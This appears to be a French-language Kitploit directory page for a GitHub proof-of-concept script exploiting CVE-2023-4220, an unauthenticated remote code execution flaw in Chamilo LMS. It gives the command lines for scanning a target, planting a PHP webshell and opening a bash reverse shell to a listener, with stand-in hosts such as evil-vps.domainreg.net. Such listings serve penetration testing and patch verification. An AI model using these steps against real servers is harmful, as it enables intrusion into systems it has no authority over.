Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
chamilo-lms-unauthenticated-rce-poc — Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS de Chamilo décrite dans CVE-2023-4220 | Kitploit
Outils/GitHubGitHub/charchit-subedi/chamilo-lms-unauthenticated-rce-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'Intrusion
GitHubcharchit-subedi/chamilo-lms-unauthenticated-rce-poc

chamilo-lms-unauthenticated-rce-poc

Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS de Chamilo décrite dans CVE-2023-4220

Voir le dépôt
3il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept d'exécution de code à distance non authentifiée pour Chamilo LMS

Il s'agit d'un script écrit en Python qui permet d'exploiter la faille de sécurité du logiciel Chamilo LMS décrite dans CVE-2023-4220. Le système est vulnérable dans les versions précédant 1.11.24.

Utilisation

Clonez le dépôt sur votre machine et installez les dépendances en utilisant pip (il est recommandé d'utiliser virtualenv pour créer un environnement afin de séparer ces installations des installations globales)

git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd chamilo-lms-unauthenticated-rce-poc pip install -r requirements.txt

Le script nécessite l'URL cible avec le chemin racine de Chamilo (comme http://example.com/chamilo, http://example.com ou http://chamilo.example.com) et une action à effectuer (il y en a trois disponibles : scan, webshell et revshell).

Analyse

Cette action vérifiera si la cible est vulnérable en tentant d'accéder au point de terminaison /main/inc/lib/javascript/bigupload/files/.

python3 main.py -u -a scan

http://example.com/chamilo

Webshell

Cette action créera un fichier webshell PHP dans le point de terminaison vulnérable.

python3 main.py -u http://example.com/chamilo -a webshell

Revshell

Cette action créera et exécutera un fichier bash reverse shell. Pour ce faire, un webshell sera d'abord créé en utilisant la même méthode que dans l'action précédente. Ensuite, quelques commandes seront exécutées pour créer et exécuter le fichier bash. Assurez-vous d'écouter sur le port que vous avez défini avec nc ou tout autre utilitaire afin d'obtenir la connexion inverse. De plus, l'hôte peut être une adresse IPv4 interne/publique valide (comme 172.17.1.4 ou 186.227.4.31) ou le domaine que vous avez enregistré (comme evil-vps.domainreg.net)

python3 main.py -u http://example.com/chamilo -a revshell

Télécharger l’outil